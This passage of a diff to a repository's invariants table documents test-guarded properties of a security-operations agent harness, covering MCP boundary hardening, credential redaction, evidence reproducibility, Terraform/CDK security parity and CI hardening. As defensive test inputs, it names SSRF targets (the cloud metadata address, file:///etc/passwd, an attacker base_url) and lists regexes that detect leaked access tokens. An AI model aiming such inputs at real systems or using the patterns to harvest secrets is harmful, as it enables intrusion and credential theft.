what leaks OUT of that boundary and never asked what hostile input going IN does. Three properties measured and all holding, none previously checked: (1) no uncaught exception and always-parseable JSON across 255 hand-picked malformed events plus 250 hypothesis-generated ones β€” load-bearing because `_invoke_tool` catches `Exception`, NOT `BaseException`, so a handler raising `SystemExit` would kill the server for every LATER call too; (2) an empty event is refused β€” 17/17 return `ok: False` or an error rather than claiming success on input the peer never supplied (INV-BOUNDARY-5's rule); (3) zero connection attempts across 119 hostile-target events (IMDS `169.254.169.254`, `file:///etc/passwd`, attacker `base_url`) with the socket layer SEVERED, so egress is enforced not asserted. Complements INV-EGRESS's structural checks (live paths import the shared guard) with behaviour: structure says the guard is wired, behaviour says hostile input cannot get past it. The boundary's own `except Exception` is tested by INJECTION β€” mutation-testing showed narrowing it SURVIVED the whole sweep because **255 combinations produced zero raises**: every shipped handler validates its own input, so that branch never executed. Good handlers, blind assertion; a stub that certainly raises now covers the barrier that matters the day one grows an unhandled path. | `mcp_server._invoke_tool` Β· `tools/*/handler.py` | `test_mcp_boundary_hardening.py` | +| **INV-MCP-7** | The redactor covers BARE provider tokens, and the log stream is a checked second exit. INV-MCP-4 fixed credential-bearing exception text at the MCP boundary via `_safe_error_text`. Auditing the OTHER exit β€” `logutil`'s JSON formatter, which writes `record.__dict__` extras and `formatException(exc_info)` verbatim into a CloudWatch stream humans read, export and paste into tickets β€” turned up a real gap in that redactor itself. Its key=value rule needs a label (`token=`/`secret:`) in front of the value, and its opaque-blob rule covers only `AKIA|ASIA|ABSK`, so a **bare** provider token passed through untouched: `token=sk-<24>` -> `token=[redacted]` but `upstream rejected: sk-<24>` -> **verbatim**, and the same for `ghp_<24>`. The unkeyed form is the COMMON one β€” an upstream echoes the credential it rejected straight into its error message with no obliging label β€” and these prefixes are not a standard invented for the fix: `ci.yml`'s secret-and-name scan greps commits for exactly `sk-` / `ghp_` / `ABSK`, so the redactor was missing a class its own CI gate enforces. Fixed with a prefix-anchored pattern (`sk-`, `ghp_`, `gho_`, `ghu_`, `ghs_`, `ghr_`, `github_pat_`) that KEEPS the prefix in the output (`sk-[redacted]`) because an operator needs to know which credential to rotate, and requires 16+ following chars so `sk-abc` is not mangled. All 38 pre-existing INV-MCP-4 tests stay green. **The log-exit half is HARDENING, not a fix, and is labelled as such**: measured first, the library has 2 `exc_info=True` sites (both `_log.debug("cleanup: skip …")` logging a botocore `ClientError`, which carries an ARN but no credential) and ZERO production `extra=` call sites β€” so there is no reachable log leak today. My initial probe leaked a password only because I wrote the `log.exception()` myself. The property therefore holds by accident, which this repo treats as indistinguishable from a guarded one, so it is now checked: a new credential-named `extra=` or an unreviewed exception-logging site fails, and the failure message names `_safe_error_text` so the fix is to reuse the redactor rather than write a second one β€” with a test proving that redactor really removes every shape (INV-CI-5's rule that a named remediation must work). **The redactor was NOT moved into `logutil`**, which was the first plan: `_SECRET_PATTERNS` carries its own trust model in a comment ("a leaked hostname grants no new capability over a local stdio channel … if this server ever gains a network transport, that trade-off must be revisited"), so those patterns are tuned for an MCP stdio peer rather than as a general log sanitiser, and relocating them would strip that reasoning from its context while touching an implementation four test modules depend on. Unifying the two exits is a legitimate refactor for its own round. Also recorded: a first version parametrised the source-scan test over five credential VALUES it never used β€” five labelled passes for one check, which is worse than an honest single case. Mutation-tested 5/5. | `sentinel_harness/mcp_server.py` `_SECRET_PATTERNS` Β· `logutil` call sites | `test_logs_are_not_a_credential_exit.py` | | **INV-EVIDENCE-1** | Committed `evidence/*.json` is BYTE-reproducible by re-running its scenario. The 38 evidence artifacts are the strongest claim this repo makes β€” README and FIDELITY-REPORT count them as proof β€” and the property that made them trustworthy was checked by nothing. Measured: all 12 offline-runnable evidence-writing scenarios reproduce their artifact byte-for-byte (no timestamps, no uuids, no dict-order churn). Excellent, and undefended: a `datetime.now()` in an output field would silently break "the evidence is reproducible", surfacing only when a human happened to re-run and see a dirty tree. The reverse is worse β€” if behaviour CHANGES and the artifact is not regenerated, the committed evidence asserts something the code no longer does, a false claim in the one place the project asks to be believed. The guard fails in BOTH directions. Method: **corrupt the artifact, re-run, compare** β€” diffing two fresh runs proves only self-consistency, and a scenario that writes NOTHING would pass that trivially; corrupting first makes "did not write" fail loudly (the INV-CI-1/INV-DOC-5 rule). Also asserts every account id in every artifact is the `000000000000` placeholder, walked structurally so an id nested in a deep ARN cannot hide from a line-oriented grep. | `scenarios/*.py` Β· `evidence/*.json` | `test_evidence_is_reproducible.py` | +| **INV-EVIDENCE-2** | Every `evidence/*.json` a doc cites as PROOF actually exists. `evidence/` is the strongest claim this repo makes β€” 38 artifacts asserting observed behaviour β€” and the docs cite 31 by path so a reader can check the work. INV-EVIDENCE-1 guards that committed evidence is byte-REPRODUCIBLE; nothing guarded that a cited path RESOLVES. Measured three ways to isolate the gap: deleting a cited artifact fails 4 tests (count guards + the demo tour); renaming one the DEMO reads fails 1 (incidentally); **renaming one only the DOCS cite -> 4119 passed, 20 skipped β€” nothing**. Eight artifacts are cited by a doc and named by NO code (`closed_loop_result.json`, `live_memory_isolation_result.json`, `live_verify_result.json`, +5), so for those the doc sentence is the only link between claim and file, and a rename leaves `docs/ROADMAP.md` pointing at a 404 while the suite reports green. The count guards cannot help β€” they count artifacts, and a rename keeps the count. **Why an "all references must resolve" check would be WRONG, recorded because the next person to automate this will hit it:** `docs/COOKBOOK.md` is a TUTORIAL ("add a new tool", worked through with a fictional `geo_lookup`) that deliberately cites four paths which do not exist, under a heading reading "Evidence to drop" with imperative prose telling the reader to CREATE the file. There is no `tools/geo_lookup/` and none is claimed. My first scan reported all four as "docs cite a missing artifact", and acting on it would have meant fabricating four artifacts for a fictional tool or gutting the tutorial β€” a scanner lacking context, reported as a defect. So the rule is about the KIND of claim, not the presence of a path: "see " asserts existence, "write your result to " does not. The tutorial is exempted BY FILE and the exemption carries its own guard in BOTH directions β€” if COOKBOOK starts citing artifacts that DO exist (the exemption would then hide real breakage) or the `geo_*` fiction leaks into a claim-making doc, this fails. The reverse direction is deliberately NOT enforced: 7 artifacts are cited by no doc, which is fine β€” `evidence/` is a record of runs, not a documentation index, and demanding every artifact be cited would push toward prose nobody needs or deleting real evidence to satisfy a checker; that decision is stated in a test rather than left implicit. Mutation-tested 4/4. | `docs/*.md` Β· `README.md` evidence citations | `test_evidence_citations_resolve.py` | +| **INV-TOOL-1** | A tool whose DEFAULT reply is a stub says so in its README. Every `tools/*/handler.py` with a `*_LIVE` seam returns fictional data by default and marks it honestly in the payload (`"source": "stub"`), but the README is where a HUMAN decides whether to trust the output β€” and 5 of the 9 stub-serving tools carried no warning while one actively contradicted the code. Measured by CALLING each handler with no `*_LIVE` set and reading the `source` field it returns, not by grepping for the word "mock": `asset_lookup`, `attack_lookup`, `epss_kev`, `nvd_lookup`, `web_search` all reported `source=stub` with NO banner, while `siem_query` / `enrich_ioc` / `ops_query` / `create_ticket` had one β€” the repo already had the right pattern and five siblings never got it ("a fix applied to one call site is not an invariant", on a claim a SecOps reader acts on). Worst was `nvd_lookup`, whose Purpose read "return **authoritative** vulnerability metadata … **sourced from the NVD**" with no condition while every default reply is `{"source": "stub"}` β€” not a missing warning but a FALSE statement in the one direction that matters: an analyst, or an agent, reading a fictional CVSS score as grounds to defer a real patch. Now conditioned on `NVD_LIVE=1`, and a second assertion forbids the word "authoritative" in any prose sentence that does not name the live seam (checked PER SENTENCE, since "authoritative" and "NVD_LIVE=1" co-occurring somewhere in a long README proves nothing about the claim a reader reads). **Why the scan is behavioural:** a first pass grepped handlers for `mock|stub|fake` and reported 8 offenders, 3 of them FALSE β€” `allowlist_optimizer`, `detection_translate` and `sigma_yara_lint` merely mention those words while returning deterministic computation over caller-supplied input, and demanding a MOCK-DATA banner there would tell a reader that a real Sigma-to-KQL translation is fictional. So the predicate is "the handler's own default reply declares a stub source" β€” the tool admitting it in the only place it cannot be wrong about itself. The 6 `tools/detection_*` handlers ship no README by design and serve no external feed; they are skipped explicitly rather than silently. **The positive control did its job during construction**: the probe's event list first omitted the `siem_query`/`ops_query`/`create_ticket` shapes (each requires exactly one recognised selector and refuses anything else), those three returned a validation refusal with no `source`, and the control failed at 6 < 8. Fixed by teaching the probe their signatures β€” a threshold tuned DOWN to match a blind probe is how a check keeps passing while covering less. Also asserted: the `siem_query` banner both messages tell contributors to copy still exists and still says plainly that it returns no real threat intelligence (the INV-CI-5 lesson β€” a guard whose remediation does not exist). Mutation-tested 4/4. | `tools/*/README.md` Β· each handler's default `source` | `test_mock_data_banners.py` | | **INV-IAC-4** | The Terraform mirror PRODUCES the metrics its alarms consume, with per-filter pattern/value agreement and names matching the CDK constants. README calls `iac-terraform/` a mirror of `iac-cdk/` for identity/vpc/guardrail/obs/harness, and for observability that was FALSE: CDK ships 3 MetricFilters + 2 Alarms, Terraform shipped **0 filters + 1 Alarm**. That alarm watched `SentinelHarness/TokensPerScenario` and NOTHING in the tree produced it β€” no `aws_cloudwatch_log_metric_filter`, no `put_metric`, no EMF. So it would sit in INSUFFICIENT_DATA forever and, being declared `treat_missing_data = "notBreaching"`, never fire and never look broken: an operator who deployed it believing the mirror claim had a token-overrun alarm that could not fire. Same shape as INV-METRIC-1 (there the producer emitted the wrong format; here it did not exist) β€” both silent. **`terraform validate` passes before AND after the fix** β€” it checks syntax and provider schema, not whether a referenced metric has a source, which is precisely why this needs to be a test. Fixed by mirroring all three filters (`$.tokens` / `$.latency_ms` / `$.errors`); verified in `terraform graph` (a local check, since `plan` needs real STS credentials). The guard checks PER FILTER that the pattern field equals the value field: a union of the two let a rename survive, and that union hid a real AWS failure mode β€” a filter matching `$.bogus` while extracting `$.tokens` emits no data points, as silent as no filter. Deliberately NOT resource-for-resource parity: CDK's gateway/registry/memory/runtime stacks have no Terraform counterpart by stated scope. | `iac-terraform/observability.tf` Β· `iac-cdk/lib/observability-stack.ts` | `test_iac_observability_parity.py` | +| **INV-IAC-5** | The Terraform mirror is no WEAKER than CDK on every shared security control. README calls `iac-terraform/` a mirror for identity/vpc/guardrail/obs/harness; INV-IAC-4 tested that claim for **observability** and found it FALSE, and the other four domains were never compared β€” while they carry the platform's runtime security boundaries. Auditing them found **one real weakening**: `prevent_user_existence_errors` was absent from the Terraform human app client, while `iac-cdk/lib/identity-stack.ts:140` sets `preventUserExistenceErrors: true`. AWS defaults it to **LEGACY**, under which Cognito returns a DIFFERENT error for "user does not exist" than for "wrong password" β€” so an attacker enumerates valid usernames from the error alone, and an operator who deployed the Terraform path believing the mirror claim got a pool that leaks account existence while the CDK path does not. **`terraform validate` passes BEFORE and AFTER the fix** β€” verified by deleting the line and re-running (`Success! The configuration is valid.`): the setting is schema-valid in both states, exactly the INV-IAC-4 situation where validate was blind to an alarm with no producer. Only the HUMAN client needs it (the machine client uses `client_credentials`, authenticating an app identity with no username surface), and CDK draws the same line β€” so the exemption has its own guard: if the machine client ever gains an `ALLOW_USER_*` flow, or stops using client_credentials, the premise has expired and the test fails rather than the exemption silently widening. **Four negative results are pinned rather than discarded**, each an unguarded runtime boundary where equality was luck: (1) the guardrail secret regexes β€” both trees independently spell `A[KS]IA[0-9A-Z]{16}` and `(?:sk-|ghp_)[A-Za-z0-9_]{20,}` from fragments, and a drift in one silently stops that deployment masking real leaked keys; compared against an EXPECTED value rather than against each other, since an identical drift in both would pass a mutual comparison; and asserted DISCRIMINATING (matching real-shaped secrets, rejecting a 15-char body / wrong prefix / lowercase) because a pattern matching nothing is as bad as no pattern and looks the same in a diff. (2) PII actions β€” `AWS_SECRET_KEY` BLOCK vs `EMAIL`/`NAME` ANONYMIZE, a real difference since anonymising a leaked secret still returns a response derived from it. (3) The Cognito password policy (12 chars, four classes, 3-day temp validity). (4) The subnet is private β€” CDK `PRIVATE_ISOLATED`, Terraform `map_public_ip_on_launch = false`, two spellings of one requirement so both need checking, and the explicit `false` is required rather than relying on an unstated AWS default. Comments are STRIPPED from both languages before matching, because a commented-out setting satisfies a substring check while configuring nothing β€” the exact mechanism behind INV-CONTAINER-2's unstartable container. Deliberately NOT resource-for-resource parity: CDK's gateway/registry/memory/runtime stacks have no Terraform counterpart by stated scope, and a README claim naming a sixth domain fails the coupling check. All five domains README claims are mirrored now have a guard β€” obs via INV-IAC-4, identity/guardrail/vpc/harness here β€” so the coupling check between the CLAIM and the coverage is closed rather than aspirational. The harness pair (`timeoutSeconds` 300, model id `global.anthropic.claude-sonnet-4-6`) is behaviour rather than a security boundary, but a silent divergence means the same harness gives up at a different point, or runs a different model, depending on which path deployed it. Deliberately NOT asserted there: a `-YYYYMMDD-vN:M` version suffix β€” `test_specialist_containers.py` requires that of the specialists because they name a DIRECT model id (unpinned reaches READY then fails on first invoke), while these trees name a cross-region INFERENCE PROFILE that has no dated version to pin; applying the specialists' rule would demand a suffix that does not exist. Mutation-tested 14/14, including drifts injected on the CDK side and "comment out the fix". | `iac-terraform/identity.tf` Β· `iac-terraform/guardrail.tf` Β· `iac-terraform/vpc.tf` Β· `iac-cdk/lib/{identity,guardrail,network}-stack.ts` | `test_iac_security_parity.py` | | **INV-EXPORT-2** | Exported agent code CONSTRUCTS against the REAL Strands SDK. `sentinel export ` is the no-lock-in promise and its whole value is that the emitted code runs β€” but `test_exporter.py` only proved the TEXT: valid AST, `py_compile` clean, prompt escaped, deterministic output. Every one of those is satisfied by code that calls a constructor which does not exist or passes a keyword the SDK renamed. **Syntax is not an API contract**, and INV-MCP-5 is this repo's record of that exact shape (mcp 2.0.0 removed `Server.list_tools()` while `from mcp.server import Server` kept resolving). Measured against the pinned `strands-agents[a2a,litellm]==1.9.1` the specialist containers ship: 8/8 harnesses exec and `build_agent()` returns a live `Agent` backed by a `BedrockModel`, the constructor SIGNATURES are inspected (not merely imported), and the exported MODEL_ID is checked against what the harness declares so an exporter cannot silently substitute a default. Runs in CI's `real-stack` job; skips locally because `strands` is in no extra (INV-PKG-1). INV-EXPORT-1's gate rule also gained a SINGLE implementation this round: it was an inline expression in the exporter, and this guard first re-derived it as `"approval" in name.lower()` β€” two definitions of a safety rule, where a gate the checker misses is a gate the export does not warn about. Now `exporter.is_hitl_gate`, with an AST scan forbidding re-derivation. | `exporter.export_harness_to_strands` Β· `exporter.is_hitl_gate` | `test_exported_agent_runs.py` | | **INV-PKG-4** | The DOCUMENTED CLI works from an installed wheel, outside any checkout. Every packaging guard before this asked "is X in the artifact?" β€” all blind to the fact that a file being present does not mean the command works. `sentinel export ` is the documented no-lock-in escape hatch (README, QUICKSTART, COMPARISON); reproduced from a directory unrelated to any checkout it failed for ALL 8 harnesses, naming a real-but-empty `/harnesses/` path. The resolver was correct (`_REPO_ROOT` is site-packages on an installed wheel, so it looked in the right place); the DATA was missing β€” `packages.find.include` listed `sentinel_harness*`/`intake*`/`tools*`/`mockdata*` and not `harnesses*`. INV-MCP-2 fixed this exact shape for `registry/` and left `harnesses/` out, so it is "a fix applied to one call site is not an invariant" landing on a packaging include list. Fixed by packaging `harnesses*`; verified by RUNNING the CLI in an isolated env (8/8 export 108-143 lines of Strands code). Two things this framing established that artifact checks could not: the 6-of-8 post-fix "failures" were the 12-factor config check REFUSING an unset `${SENTINEL_GATEWAY_ARN}` β€” correct behaviour, now asserted as contract and documented β€” and exit codes were already 1 (my earlier read of 0 was `$?` clobbered by a pipe in my own probe, not a defect). QUICKSTART taught only the relative path, unusable for a pip-installing reader; it now teaches the name form FIRST, asserted by page order rather than by presence. | `pyproject.toml` packages.find Β· `cli._resolve_harness_path` Β· `docs/QUICKSTART.md` | `test_installed_cli_e2e.py` Β· `test_wheel_contents.py` | | **INV-PKG-3** | The sdist ships the trees its bundled test suite reads, and CI config stays out. There was NO `MANIFEST.in`, so nobody had decided what the sdist contains β€” setuptools' defaults ship `tests/` automatically, so it carried all 162 test files (AT THE TIME β€” a historical measurement, not a current count) and **none of the trees they read**. Measured by following a downstream packager's workflow (conda-forge/Debian/Fedora all unpack the sdist and run the bundled suite): `43 errors during collection`, `FileNotFoundError` on scenarios/ specialists/ longrunning/ demo/ sentinel_inference_gateway/. The worst of two coherent options β€” ship no tests, or ship tests that RUN. Nothing caught it: `release.yml`'s smoke test installs `dist/*.whl` only and no test had opened the tarball. Two recorded lessons: (1) the 43 failures named 5 trees while an exhaustive scan of `REPO_ROOT / ""` references found **19** β€” pytest abandons a module after its first error, so fixing only what failed would have broken somewhere new; the guard re-derives the list from source. (2) `.github/` deliberately stays OUT (CI config is not source, and shipping it would make a packager's build depend on our pipeline), so the guards reading it became repository-scoped through ONE asymmetric rule in `tests/repo_infra.py`: inside a git checkout a missing workflow is a FAILURE, outside one it is a skip β€” the alternative, each guard skipping when its file is absent, is the silent no-op INV-CI-1/INV-DOC-5/INV-PKG-1/INV-PKG-2 all record. Result: 43 collection errors -> **0 failures, 3810 passed** from the sdist. | `MANIFEST.in` Β· `tests/repo_infra.py` | `test_sdist_contents.py` | @@ -877,6 +886,7 @@ the packaged install path. | **INV-CI-4** | Every CI job bounds its runtime, and `concurrency` is decided per workflow SEMANTICS rather than uniformly. Two runtime protections were missing across all six workflows. **(1)** No job declared `timeout-minutes` β€” all 14 inherited GitHub's default of **360 minutes**, so a hung job (a network read with no timeout, a test waiting on a lock, an `npm install` against a degraded registry) would hold a runner for six hours; on a public repo that is the whole concurrency budget, so one wedged job blocks every other PR's CI. Values are calibrated to MEASURED durations from five real runs, not guessed: `test` 321-345s -> 15min, `codeql analyze` 65-94s -> 20, `iac` 74-88s -> 10, `real-stack` 57-63s -> 10, `pip-audit` 25-90s -> 15 (it grew when the container audit landed, INV-SUPPLY-1), `mypy` 20s -> 10, `bandit` 13s -> 5, `secret-and-name scan` 5s -> 3. The guard asserts each timeout stays within 2x-40x its measured seconds, because a tolerance is calibrated to a MAGNITUDE β€” INV-DOC-9 records the cost of borrowing one across magnitudes β€” so too tight turns variance into flakes and too loose is decoration. That band immediately caught two of my own values (bandit 10min = 46x, secret-scan 5min = 60x), which were tightened rather than the guard being relaxed. **(2)** Five of six workflows had no `concurrency` block, so superseded runs kept going β€” pushing twice to a PR ran the full matrix twice while only the last verdict was ever read. Crucially this is NOT a uniform fix: `ci`/`codeql`/`supply-chain`/`scorecard` cancel, but **`release.yml` must NEVER cancel**. It publishes, and cancelling midway leaves a state no retry cleanly repairs β€” a GitHub Release created and tagged while PyPI never received the upload, or an attestation signed for artifacts that were never published. Two tags pushed in quick succession is exactly when `cancel-in-progress: true` would fire, i.e. precisely when it does the most damage; so release groups by tag (serialising a re-run of the same tag) with `cancel-in-progress: false`, and that asymmetry is asserted because "add concurrency everywhere" is the obvious cleanup that would break it. **A negative result, recorded so it is not tidied up:** `docs.yml` keys its group on the literal `pages` with no `github.ref`, so in principle a PR's docs build can cancel main's in-flight Pages deployment. Adding a ref is wrong twice β€” measured across 40 historical docs runs (19 push/main + 21 pull_request) the conclusion was `success` every time, **zero cancellations**, and a global group is the POINT since Pages deployment is a singleton and keying on ref would PERMIT the concurrent deploys the single group prevents. The exemption therefore has its own guard (the group must stay ref-independent), the rule this repo applies to lint-excluded directories applied to a config exception. Also **verified and deliberately left alone**: permissions were ALREADY least-privilege β€” every workflow declares top-level `contents: read` (or `read-all`) and only the four jobs needing more widen it themselves β€” so this round changed nothing there, but the property is now asserted in both directions (no top-level write; the set of write-scoped jobs matches a recorded map) since a future job could otherwise quietly inherit write access. Guard mutation-tested 9/9, including the two dangerous cleanups. | `.github/workflows/*.yml` job timeouts Β· concurrency Β· permissions | `test_workflow_runtime_guards.py` | | **INV-SUPPLY-2** | A version bound that exists for a BREAKAGE is declared where Dependabot reads it. `mcp>=1.0,<2` was stated in three places β€” a long `pyproject.toml` comment, INV-MCP-5 in this document, and `test_mcp_version_bound.py` β€” and **Dependabot reads none of them**, so it proposed lifting the bound twice in one week: **PR #59** widened `pyproject.toml` to `mcp>=1.0,<3`, and **PR #60** β€” the very first PR produced by the container coverage added in INV-SUPPLY-1 β€” pinned all four DEPLOYED specialists to `mcp==2.0.0`. Both re-verified against the real 2.0.0 release rather than trusted from the record, because a bound whose evidence has expired is worse than no bound: `from mcp.server import Server` still imports (an import check is not a compatibility check β€” INV-MCP-5's own recorded lesson), but `Server.list_tools` / `.call_tool` are GONE and `create_server()` raises `AttributeError: 'Server' object has no attribute 'list_tools'`, so `sentinel mcp serve` cannot start. The part that could have been missed: that is the SERVER surface, which the specialists never touch β€” they use the CLIENT surface, so "the same bound applies" was an assumption needing its own measurement. It held for an INDEPENDENT reason: `from mcp.client.streamable_http import streamablehttp_client` also raises ImportError on 2.0, and all four `specialists/*/agent_a2a.py` import it to reach the Gateway. **Two separate breakages behind one version number**, and PR #60 would have shipped both into the containers. Fixed by declaring the bound in `.github/dependabot.yml` with its evidence and its lift procedure β€” generalising what `iac-cdk`'s TypeScript bound already did right (INV-IAC), i.e. "a fix applied to one call site is not an invariant" applied to a supply-chain declaration. The non-obvious detail the guard encodes: **`ignore` is PER-UPDATE-BLOCK, not global**, so the root `pip` entry's ignore does not cover the container `pip` entry β€” which is exactly why PR #60 existed β€” and a guard checking only "mcp is ignored somewhere" would have passed while the dangerous PR was open. So every block of the relevant ecosystem is checked. Also asserted: each ignore must carry a VERSION RANGE (a bare `ignore: mcp` silently blocks 1.x security patches too, turning a compatibility bound into an unmaintained dependency), the pyproject bound and the ignore must describe the SAME boundary (widening to `<3` while the ignore stays at `>=2.0.0` is the worst combination β€” the repo permits a version Dependabot has stopped warning about), and the file must record HOW to re-verify so the bound can be lifted deliberately rather than becoming permanent by default. Mutation-tested 7/7, including the exact PR #59 and PR #60 conditions. | `.github/dependabot.yml` ignore blocks Β· `pyproject.toml` bounds | `test_breaking_bounds_are_told_to_dependabot.py` | | **INV-CI-5** | A guard that demands a machine-derived table SHIPS a working way to derive it, and its failure message names that tool. INV-CI-3 works β€” it blocked Dependabot **PR #61**, which bumped the three `github/codeql-action` sub-actions to a SHA the `_AUTHORITATIVE` table did not know β€” but it was **not actionable**. Its message said to resolve each SHA against GitHub and that "`SENTINEL_VERIFY_ACTION_PINS=1` does this". **That was false**, measured by reproducing PR #61 in the working tree: the offline layer reported `2 failed` while the online layer **PASSED**, because it iterates only entries already in the table and therefore never sees a brand-new SHA. So the only remaining route was a human hand-copying a 40-hex SHA and hand-resolving it against the API β€” precisely the manual work INV-CI-3 exists to eliminate, on Dependabot's weekly cadence. A guard that converts the labour it prevents into a mandatory ceremony has traded one defect for another; "the guards are code too, so they get invariants" (round 18) is why this one exists. Fixed with `scripts/sync_action_pins.py` + `make sync-action-pins`, which re-derives table and comments from the AUTHORITATIVE direction (SHA -> the tag pointing at it, never comment -> table, since reading the comment would launder a stale label into the source of truth β€” INV-CI-3's defect verbatim). Verified end-to-end against PR #61's exact state: guard fails -> one command -> guard passes, table gained `d1ba80a13dd9 = v4.37.5` and dropped the superseded entry, 3 comments rewritten; and on a clean tree it reports `nothing to do` for all 12 pins, the negative control proving tool and guard agree. It REFUSES to write when any SHA is unresolvable (verified live: `rc=1`, an explicit UNRESOLVED line, zero writes) because a partial table is worse than a stale one β€” the guard would pass on the resolved entries while the suspicious pin stayed unrecorded. **Two of my own defects are recorded here.** (1) The tool's first ranking picked among tags by counting dot-separated components, and `actions/deploy-pages` has three tags on one commit (`v5.0.0`, the moving alias `v5`, and the historical re-tag `v3.0.2-node.24`); the count chose `v3.0.2-node.24`, so the tool proposed rewriting a CORRECT comment into a misleading one β€” the guard's own defect class, reintroduced by its remediation. Now ranked semantically and pinned by a test over the real ambiguous tag set. (2) Three of this module's own assertions initially SURVIVED mutation: `"/tags" in ` was satisfied by the resolver's **docstring** while the code queried `/commits` (documentation standing in for implementation); `"refusing to write" in main()` was satisfied by a SECOND refuse-to-write path when the first was deleted; and locating the gate by `any(Name == "unresolved")` accepted `if False and unresolved:` β€” a guard must test whether a gate can FIRE, not whether it exists. All three now resolve structurally (call arguments only, branch-scoped strings, exact-condition match). Mutation-tested 10/10. | `scripts/sync_action_pins.py` Β· `Makefile` Β· INV-CI-3 failure messages | `test_pin_sync_tool.py` | +| **INV-CLI-4** | Every scenario the CLI advertises resolves to a file that exists. `sentinel run-scenario ` dispatches through a hand-written `_SCENARIOS` map in `sentinel_harness/cli.py`, and **nothing referenced it**. Measured by pointing one entry at a filename that does not exist and running everything: **4113 passed, 20 skipped** β€” the whole suite stayed green while `sentinel run-scenario cve_triage`, a name argparse offers in `--help`, would print `scenario file not found` and exit 2. A user-visible CLI failure with zero coverage. The distinction that isolated it matters: DELETING `scenarios/scenario_cve_triage.py` outright *does* fail three tests in `test_scenarios_execute.py` β€” but that module guards the scenario INVENTORY (everything on disk is classified and runnable), not the CLI's map INTO it. Two halves of one contract with only the first guarded; my first hypothesis (a rename goes unnoticed entirely) was WRONG, and narrowing the probe to the mapping alone is what found the real gap. The guard resolves paths through the CLI's own `SCENARIOS_DIR` constant, and asserts by `os.path.samefile` that it is the repo's `scenarios/` β€” otherwise the check could pass against a different tree than the shipped CLI reads. It also requires `choices=` to DERIVE from `_SCENARIOS` (asserted from the AST, since the name appearing somewhere in the file proves nothing about the keyword argument): a re-typed literal lets `--help` offer a name the dispatcher lacks, or hide one it has. **A dead branch is recorded rather than left as an apparent coverage gap**: `cmd_run_scenario`'s `if name not in _SCENARIOS: return 2` is UNREACHABLE through the CLI because argparse's `choices=` rejects first β€” verified, `parse_args(["run-scenario","does_not_exist"])` raises SystemExit(2) with argparse's own message. It is kept as defence for direct calls, and BOTH facts are asserted, so the next reader does not re-derive it from a coverage report as I did. The map is deliberately a SUBSET (3 advertised of 23 on disk β€” all three drive real AgentCore APIs, i.e. the live-demo selection), so it is checked as a subset with a size floor rather than for equality; the code previously said only "scenario name -> module file", which is indistinguishable from a list that drifted. Mutation-tested 5/5. | `sentinel_harness/cli.py` `_SCENARIOS` | `test_cli_scenario_map.py` | | **INV-CONTAINER-1** | The specialist image really BUILDS, and the built image really SERVES A2A. `docs/FIDELITY-REPORT.md` claims `specialists/cve-intel/` "really `docker build`s (multi-stage, pinned deps, non-root)" β€” the project's strongest deployment claim β€” and **nothing executed it**. Measured: no workflow contains `docker build` / `docker/build-push-action` / buildx, and the two modules named after containers (`test_specialist_containers.py`, `test_cve_intel_container.py`) are pure TEXT analysis of the Dockerfile. The latter's docstring even deferred the real build to "the *verify* step" β€” **which did not exist anywhere in the repo**, so a reader concluded the image was verified elsewhere when only its Dockerfile had been read. The gap mattered because of what the preceding rounds did: INV-SUPPLY-1 moved `strands-agents` 1.9.1 -> 1.50.2 and `fastapi` -> 0.141.1 to clear 19 advisories, and PR #64 moved `bedrock-agentcore` -> 1.19.0, `mcp` -> 1.29.0, `uvicorn` -> 0.52.1. Every one was verified by importing packages in a scratch venv, which proves the API surface survives and says NOTHING about whether the arm64 image still builds or boots β€” a break there surfaces at deploy time. Verified on a real arm64 build: `docker build` rc=0; the image carries exactly the pinned versions plus the transitive `litellm 1.91.1` / `starlette 1.4.1` that cleared the advisories; `import agent_a2a` OK with all four entry points; the container reaches Docker `healthy`; `GET /ping` -> **HTTP 200** `{"status":"healthy","agent":"cve-intel"}`; `GET /.well-known/agent-card.json` -> **HTTP 200** with a real card; and `id -u` inside it is **10001**, matching the Dockerfile. So the finding is not that the image is broken β€” it is that nothing would notice when it breaks, on a repo that now takes container dependency bumps weekly. Env-gated (`SENTINEL_CONTAINER_BUILD=1`) because a build needs a daemon, minutes, and the network, and the suite must run where docker does not exist; the skip states exactly what is unverified, and with the gate ON a missing daemon is a **FAILURE** rather than a skip β€” opting in and silently doing nothing is the worst of both. Cold-cache control: 112.79s for 7 passed versus 5.81s warm, proving the build really runs rather than validating a stale cached image. One assertion's SELF-DESCRIPTION was corrected by mutation testing: "declare uvicorn==0.50.2 while the image has 0.52.1" SURVIVED, because editing requirements.txt busts the COPY layer so the image installs the edited pin β€” `declared == installed` is structurally guaranteed on that path. Rather than patch the test, the docstring now states what it really catches (pip resolving off-pin, a stale layer cache, a vanished package) and identifies the TRANSITIVE check as the load-bearing half β€” which mutation CAUGHT: dropping the `[litellm]` extra leaves every pin satisfied while `litellm` is absent from the shipped artifact. Mutation-tested 4/4 after that correction (sibling stops naming the gate; `USER root`; `agent_a2a.py` not copied; `[litellm]` extra dropped). | `specialists/cve-intel/Dockerfile` Β· the built image | `test_container_image_builds_and_serves.py` | | **INV-CONTAINER-2** | The bas-runner image builds AND its entrypoint actually starts. `longrunning/bas-runner/` is the repo's FIFTH deployable image and the only one nothing guarded β€” `docs/BLUEPRINT.md` names it in four places as the long-running BAS Runtime, and **no test read its Dockerfile or its requirements at all**. Four defects, each measured before being fixed. **(1) The container could not start.** `docker build` succeeded and then `import bedrock_entrypoint` inside the image raised `ModuleNotFoundError: No module named 'sentinel_harness'` β€” `bedrock_entrypoint.py:46` does an UNGUARDED top-level `from sentinel_harness import core` (unlike its `bedrock_agentcore` import three lines below, which is try/except-guarded), while `sentinel-harness` was **commented out** in requirements.txt under a note that it is "listed here so the intent is explicit", and the Dockerfile never installed it either. So `CMD ["python","bedrock_entrypoint.py"]` β€” the image's entire purpose β€” died immediately. **Intent in a comment is not a build step.** What hid it: the README's own "offline sanity" check is `python -c "import bedrock_entrypoint"` run from the REPO ROOT, where the module is importable from the working tree, so it passed on a maintainer's laptop and could never have failed there. **(2) The build was not reproducible.** `bedrock-agentcore>=1.19.0` / `boto3>=1.43.62`, under a comment conceding "pinned loosely; pin exact for a release" β€” and v0.5.1 had shipped, so the TODO had expired. Measured: the range resolved to **1.21.0**, two minors above the `==1.19.0` every specialist pinned, and the built image really contained 1.21.0; two rebuilds of one commit could ship different code. For an adversary-emulation workload whose output is forensic evidence, "which version produced this" must be answerable from the repo. **(3)** Nothing verified the image β€” not as text, not built, not started. **(4)** It diverged from the specialists silently, because no guard compared them. Fixed by pinning `==1.21.0` / `==1.43.65` β€” recording what the range already resolved to and what the image was verified against rather than rolling back, 